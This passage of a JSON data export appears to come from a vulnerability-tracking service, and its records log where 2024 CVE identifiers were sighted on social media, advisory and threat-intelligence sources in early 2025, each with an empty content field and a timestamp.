"https://bsky.app/profile/cve.skyfleet.blue/post/3lkei5x6ro426", "content": "", "creation_timestamp": "2025-03-14T20:46:21.853564Z"}, {"uuid": "847f3353-e38d-4f33-9c9d-431d85e718ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12245", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkei5xivf62n", "content": "", "creation_timestamp": "2025-03-14T20:46:23.544410Z"}, {"uuid": "2b99d28b-e079-4741-bbb6-a437c5a0d324", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12599", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113983376697733169", "content": "", "creation_timestamp": "2025-02-11T04:31:42.194603Z"}, {"uuid": "7e2d81ca-651b-42fe-9be7-ac08208823c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12599", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhuvpkjkyr23", "content": "", "creation_timestamp": "2025-02-11T05:15:50.922672Z"}, {"uuid": "4e88f721-31f9-4c9a-9a61-7ca8201c9e19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12020", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkei5xsxod2l", "content": "", "creation_timestamp": "2025-03-14T20:46:25.349872Z"}, {"uuid": "d9726467-a336-4fcb-b4a8-7c152cd10491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12922", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lkrbxr2ano2r", "content": "", "creation_timestamp": "2025-03-19T23:00:07.820716Z"}, {"uuid": "7b113253-f641-432a-a7ed-d73396d50320", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12971", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ll7fwfod622f", "content": "", "creation_timestamp": "2025-03-25T13:48:12.651412Z"}, {"uuid": "8c6aedfc-d1dd-40dd-86e7-d17e9157fda0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12992", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ll7fwfod622f", "content": "", "creation_timestamp": "2025-03-25T13:48:12.752892Z"}, {"uuid": "1128c9e1-9baa-4143-8c90-b3aff64ecaad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12599", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhv7yfbtyp2w", "content": "", "creation_timestamp": "2025-02-11T08:19:46.921188Z"}, {"uuid": "1862fdfb-146b-4b9a-8ea1-8212f930abca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://infosec.exchange/users/obivan/statuses/113984489341458185", "content": "", "creation_timestamp": "2025-02-11T09:14:39.607461Z"}, {"uuid": "d99408f9-7f2c-433f-86db-f1261d2a045e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://infosec.exchange/users/dragonjar/statuses/113984909281375169", "content": "", "creation_timestamp": "2025-02-11T11:01:28.848638Z"}, {"uuid": "a7fdf1fb-98eb-4d3e-a6f8-4c5e2d5e57bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113985351114543788", "content": "", "creation_timestamp": "2025-02-11T12:53:49.414504Z"}, {"uuid": "3fec8e1b-7cf8-4041-9fa0-d1be0af90170", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhvqjn3qkr23", "content": "", "creation_timestamp": "2025-02-11T13:15:43.144485Z"}, {"uuid": "e8689a18-fc63-48f3-8db1-419771af9acc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhvu4qgspo2y", "content": "", "creation_timestamp": "2025-02-11T14:20:11.512221Z"}, {"uuid": "52913cf3-8f17-4326-b6a2-95ac3b926835", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12058", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113985946502062448", "content": "", "creation_timestamp": "2025-02-11T15:25:14.387757Z"}, {"uuid": "1af5cc10-54c2-4462-83fc-ab3f40242333", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://mstdn.social/users/jschauma/statuses/113986084509292381", "content": "", "creation_timestamp": "2025-02-11T16:00:21.062436Z"}, {"uuid": "49a96361-f01b-465d-b875-da07b5733bcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/jschauma.mstdn.social.ap.brid.gy/post/3lhvzqexxfr62", "content": "", "creation_timestamp": "2025-02-11T16:02:36.938030Z"}, {"uuid": "0a6478de-cc7c-42f5-93d3-5056098414ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://infosec.exchange/users/harrysintonen/statuses/113986114572408411", "content": "", "creation_timestamp": "2025-02-11T16:07:58.868756Z"}, {"uuid": "04b26c7d-2027-4d12-ac39-f7fa6bda9481", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113986123111497297", "content": "", "creation_timestamp": "2025-02-11T16:10:09.296099Z"}, {"uuid": "415b0d27-c61c-4a12-898b-6f804ecf82cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12058", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhw2mecrol2h", "content": "", "creation_timestamp": "2025-02-11T16:16:11.826545Z"}, {"uuid": "38a0e588-abe1-4c34-a895-3aa4b2e119b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhw2mgqh2r2z", "content": "", "creation_timestamp": "2025-02-11T16:16:14.692289Z"}, {"uuid": "90011db7-78a6-47bd-9801-394d1646ee25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/nopnop.bsky.social/post/3lhw3kkpfjk2s", "content": "", "creation_timestamp": "2025-02-11T16:33:05.458198Z"}, {"uuid": "ad6d0bb6-3ac4-48a9-ba96-733b0c2c33b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://infosec.exchange/users/harrysintonen/statuses/113986223970690995", "content": "", "creation_timestamp": "2025-02-11T16:35:48.246615Z"}, {"uuid": "abe539ef-efbe-4823-b7b3-d212222f584f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://cyberplace.social/users/GossiTheDog/statuses/113986371147606531", "content": "", "creation_timestamp": "2025-02-11T17:13:30.264969Z"}, {"uuid": "5c033d16-8866-4777-8b2d-40cc33d46cce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/GossiTheDog.cyberplace.social.ap.brid.gy/post/3lhw5sl6da4k2", "content": "", "creation_timestamp": "2025-02-11T17:14:30.811241Z"}, {"uuid": "209de7a0-848f-413a-aaee-60474167cbd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12755", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhw5xm46y22g", "content": "", "creation_timestamp": "2025-02-11T17:16:10.340675Z"}, {"uuid": "53887831-8f92-4b4a-bc1a-524aac713cf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12756", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhw5xoqi5a2x", "content": "", "creation_timestamp": "2025-02-11T17:16:12.836929Z"}, {"uuid": "7120da3a-1402-4fbd-bc67-6901d09ccf23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lhw6eqm5dt2o", "content": "", "creation_timestamp": "2025-02-11T17:23:31.374437Z"}, {"uuid": "e711c77b-8b6f-40d2-b775-2d454c75ff5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/thedarktangent.defcon.social.ap.brid.gy/post/3lhw7jowyml22", "content": "", "creation_timestamp": "2025-02-11T17:44:20.328590Z"}, {"uuid": "1a97e011-cf56-4557-933a-b772f383a3f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12824", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljff5wxa5a2p", "content": "", "creation_timestamp": "2025-03-02T12:00:08.068197Z"}, {"uuid": "b5bf5c08-5818-4391-8556-78f55a5b213e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12741", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-105/", "content": "", "creation_timestamp": "2025-03-03T05:00:00.000000Z"}, {"uuid": "d655884a-02fb-47fa-bba8-d2507d68ac00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12058", "type": "seen", "source": "https://social.circl.lu/users/cedric/statuses/113986844143593949", "content": "", "creation_timestamp": "2025-02-11T19:13:31.534633Z"}, {"uuid": "75132913-021e-4e06-a524-ffcb26529866", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12547", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwhz2molc2a", "content": "", "creation_timestamp": "2025-02-11T20:15:56.456294Z"}, {"uuid": "84037f08-ce8c-425d-ba74-4797e38f0714", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12548", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwhz5vmwk2c", "content": "", "creation_timestamp": "2025-02-11T20:15:59.777457Z"}, {"uuid": "729d7ca9-a56e-4a63-a0e7-14926c368bd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12549", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwhzaf5ug2a", "content": "", "creation_timestamp": "2025-02-11T20:16:02.408969Z"}, {"uuid": "482f6279-eb6f-4dc1-8b1d-5cdb15843df5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12550", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwhzcxzde2a", "content": "", "creation_timestamp": "2025-02-11T20:16:05.428689Z"}, {"uuid": "f95ed3e9-f7ff-46e7-b877-a8bc6566031c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12551", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwhzflzqo2z", "content": "", "creation_timestamp": "2025-02-11T20:16:07.959326Z"}, {"uuid": "3f6f6a89-e9c3-44a2-bf7e-b23548ddbd16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12833", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwhzi34xc2a", "content": "", "creation_timestamp": "2025-02-11T20:16:10.491034Z"}, {"uuid": "1bd43f83-9ca2-4d5e-89fa-6d6adb6ecb40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12833", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113987218940715523", "content": "", "creation_timestamp": "2025-02-11T20:48:52.388056Z"}, {"uuid": "f0d51497-d38c-40da-a9db-4a383114c494", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lhwl6qljlt2b", "content": "", "creation_timestamp": "2025-02-11T21:12:48.625473Z"}, {"uuid": "34a3c789-12ec-4164-bd1b-ff6012a27cdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12315", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwlekul2i2x", "content": "", "creation_timestamp": "2025-02-11T21:16:04.051830Z"}, {"uuid": "ce6302ff-becb-4a1f-88c3-29f949916c42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lhwnp4zdxc2n", "content": "", "creation_timestamp": "2025-02-11T21:57:48.606036Z"}, {"uuid": "88dff00b-dd5f-4937-9392-45c1193cc36d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12833", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhwrgjprt22i", "content": "", "creation_timestamp": "2025-02-11T23:04:32.048828Z"}, {"uuid": "b59c45a3-1328-4441-be6f-8bbe7ee03d19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12315", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhwvvoqnep2u", "content": "", "creation_timestamp": "2025-02-12T00:24:35.895042Z"}, {"uuid": "90df0342-6f81-4ac1-8ec7-534f66a24a7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3lhwyyxvsnq24", "content": "", "creation_timestamp": "2025-02-12T01:20:08.150763Z"}, {"uuid": "bd40523b-9d4b-438f-9cd4-ed1be5d52f00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-04)", "content": "", "creation_timestamp": "2025-03-04T00:00:00.000000Z"}, {"uuid": "43902ec7-8b91-4ca3-be5b-374bcab5897d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lhxbhshixk24", "content": "", "creation_timestamp": "2025-02-12T03:51:39.515915Z"}, {"uuid": "4764224a-3c42-487e-9fd7-71e2c64429db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lhxbsvu6qk2t", "content": "", "creation_timestamp": "2025-02-12T03:57:49.697405Z"}, {"uuid": "4090f446-4735-4263-9f4a-d7b62ccd7a80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12164", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113989033099527274", "content": "", "creation_timestamp": "2025-02-12T04:30:12.366216Z"}, {"uuid": "a60dbeb8-7b16-497a-b728-23e494174dea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12164", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhxg67s6nb2p", "content": "", "creation_timestamp": "2025-02-12T05:15:41.791993Z"}, {"uuid": "bd4769bf-d5c7-42cf-9f6f-e46aa094b53f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12281", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljpgzui47n2c", "content": "", "creation_timestamp": "2025-03-06T12:00:32.880797Z"}, {"uuid": "5e4d67eb-467d-437a-8f43-71f0bfa78dba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12097", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljpgzuo6pz2f", "content": "", "creation_timestamp": "2025-03-06T12:00:33.605187Z"}, {"uuid": "a7e62ac5-2594-4008-94f4-945b0f761a33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12029", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:11:06.000000Z"}, {"uuid": "299e3be3-b896-4c35-9338-efbef056ba35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:11:06.000000Z"}, {"uuid": "52344ee5-6975-445f-bd0b-ba91dff708e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-d7b1a167-647a6d58b1b9a9ed", "content": "", "creation_timestamp": "2025-02-12T07:10:39.294874Z"}, {"uuid": "8069e16b-5a1d-4d61-834d-472398883d5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lhxnteqvbo2t", "content": "", "creation_timestamp": "2025-02-12T07:32:48.453654Z"}, {"uuid": "783167ba-d97a-4e60-a81c-00c1122b330d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3lhxp7olhza2b", "content": "", "creation_timestamp": "2025-02-12T07:57:34.690807Z"}, {"uuid": "6261bc6e-675d-4706-9ec5-293184441ba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://threatintel.cc/2025/02/11/openssl-patched-highseverity-flaw-cve.html", "content": "", "creation_timestamp": "2025-02-12T02:25:37.000000Z"}, {"uuid": "66501aee-44fc-4920-bb1d-fb5687918f46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12315", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113989978657694600", "content": "", "creation_timestamp": "2025-02-12T08:30:40.140296Z"}, {"uuid": "cd2cfd5d-6e36-4bdb-851b-926b6e07dc39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12315", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhxtljp3a62s", "content": "", "creation_timestamp": "2025-02-12T09:15:47.450459Z"}, {"uuid": "dca1476e-1b4c-45aa-a29e-b4e0dd59cc96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113990205008091860", "content": "", "creation_timestamp": "2025-02-12T09:28:13.944140Z"}, {"uuid": "809e4f12-fe1a-4390-b577-17b5efe9a697", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12296", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113990205022762415", "content": "", "creation_timestamp": "2025-02-12T09:28:15.350591Z"}, {"uuid": "2d7a391d-3e67-4594-8528-871945194573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://infosec.exchange/users/shadowserver/statuses/113990205373134629", "content": "", "creation_timestamp": "2025-02-12T09:28:20.078949Z"}, {"uuid": "b29ae6b7-1422-41c7-bf11-b815bd024937", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lhxudxq2lk2x", "content": "", "creation_timestamp": "2025-02-12T09:29:27.868579Z"}, {"uuid": "3e90ed85-b76b-4ed7-8a3e-936f4cc98986", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lhxudxqah22x", "content": "", "creation_timestamp": "2025-02-12T09:29:28.762448Z"}, {"uuid": "bc07c306-575b-4c6f-b574-b098713d867c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lhxudxqcfk2x", "content": "", "creation_timestamp": "2025-02-12T09:29:29.617641Z"}, {"uuid": "20a1c347-1edf-4dec-a537-1e4239f29f90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhxwwmn3tj2x", "content": "", "creation_timestamp": "2025-02-12T10:15:40.519991Z"}, {"uuid": "9cfaf19c-31f2-446f-9bc0-c87ab9f3b998", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12296", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhxwwpliar2z", "content": "", "creation_timestamp": "2025-02-12T10:15:43.558476Z"}, {"uuid": "8413cfa3-585c-4f38-9b51-65d4663f5b5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113990520210402386", "content": "", "creation_timestamp": "2025-02-12T10:48:23.944571Z"}, {"uuid": "9e416379-f4a3-4fd9-b6df-46379783f816", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12296", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113990520258513151", "content": "", "creation_timestamp": "2025-02-12T10:48:24.432374Z"}, {"uuid": "f2e4a00d-bd5f-480d-a960-25183f0ef7a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhxzp6sy562h", "content": "", "creation_timestamp": "2025-02-12T11:05:12.398575Z"}, {"uuid": "969e6294-62c0-42ba-98d8-2f5e964a3356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12296", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhxzp7ttee2v", "content": "", "creation_timestamp": "2025-02-12T11:05:13.383688Z"}, {"uuid": "7de5969e-bac7-49de-bef1-024c63b04ef3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12386", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113990650248896980", "content": "", "creation_timestamp": "2025-02-12T11:21:27.703743Z"}, {"uuid": "26d87a18-dc41-41e7-8362-0c7ddfa64013", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12315", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhy5miaorn2v", "content": "", "creation_timestamp": "2025-02-12T12:15:17.777181Z"}, {"uuid": "6750b51e-a41d-4740-b4d2-ae4b8e8908f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 